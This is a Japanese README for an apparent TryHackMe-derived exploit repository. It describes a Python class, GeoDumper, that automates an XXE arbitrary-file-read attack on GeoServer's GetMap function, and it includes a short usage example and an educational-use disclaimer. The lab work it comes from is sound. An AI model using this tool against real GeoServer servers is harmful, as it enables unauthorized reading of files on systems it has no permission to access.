
このリポジトリに含まれるコードおよび情報は、教育および研究目的のみで提供されています。リポジトリの管理者は、あなたがこのコードや情報を用いて行う一切の行為について責任を負いません。あなたの行動はあなた自身の責任です。法律および倫理に従って適切に使用してください。
exploit/exploiter.py ファイル内の Python3 クラス(GeoDumper)は、XXE 脆弱性の悪用を自動化し、漏洩した情報をローカルファイルに保存します。
例:
import exploit.exploiter as exploiter
target_ip = "localhost"
secure = False
geoserver_path = "geoserver"
dumper = exploiter.GeoDumper(target_ip=target_ip, geoserver_path=geoserver_path, is_secure=secure)
(data, filename) = dumper.dump_file(target_file)
print(f"[+] data saved to \"{filename}\"")
print(f"[+] Data:\n{data.decode("utf-8")}")
本脆弱性は、GetMap 関数への XML 入力が適切にサニタイズされていないことを悪用し、攻撃者による任意のファイル読み取りを可能にします。
脆弱性の詳細な説明や分析は、以下のリンクを参照してください。
注記:私は本脆弱性を発見したわけでも、それに関する調査を行ったわけでもありません。このコードとリポジトリは、TryHackMe の関連ルームに取り組む過程で作成したものです。